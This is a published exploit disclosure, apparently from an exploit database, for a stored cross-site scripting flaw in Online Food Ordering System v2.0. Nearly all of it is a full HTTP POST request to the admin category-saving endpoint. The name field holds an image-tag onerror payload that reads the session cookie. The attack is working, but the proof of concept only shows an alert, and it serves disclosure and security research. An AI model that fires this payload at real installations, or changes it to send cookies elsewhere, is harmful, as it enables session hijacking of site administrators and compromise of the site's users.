Online Food Ordering System 2.0 Cross Site Scripting Vulnerability

# Exploit Title: Online Food Ordering System v2 - Stored Cross Site Scripting (XSS)
# Exploit Author: Alaeddin Berksoy
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code
# Version: 2.0 
# Tested on: Macos / XAMPP


POST /fos/admin/ajax.php?action=save_category HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212007370016574149261512413130
Content-Length: 322
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/index.php?page=categories
Cookie: language=en; welcomebanner_status=dismiss; continueCode=LoPJXWEAqruytmUYHrT4FDiBZikOH1Vh8Zh7JHvLtppI9VCvXHEYd7ywQ1B5; cookieconsent_status=dismiss; PHPSESSID=eje1menuonpvjtfbl2ri965btk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------212007370016574149261512413130
Content-Disposition: form-data; name="id"


-----------------------------212007370016574149261512413130
Content-Disposition: form-data; name="name"

<img src onerror=alert(document.cookie);>
-----------------------------212007370016574149261512413130--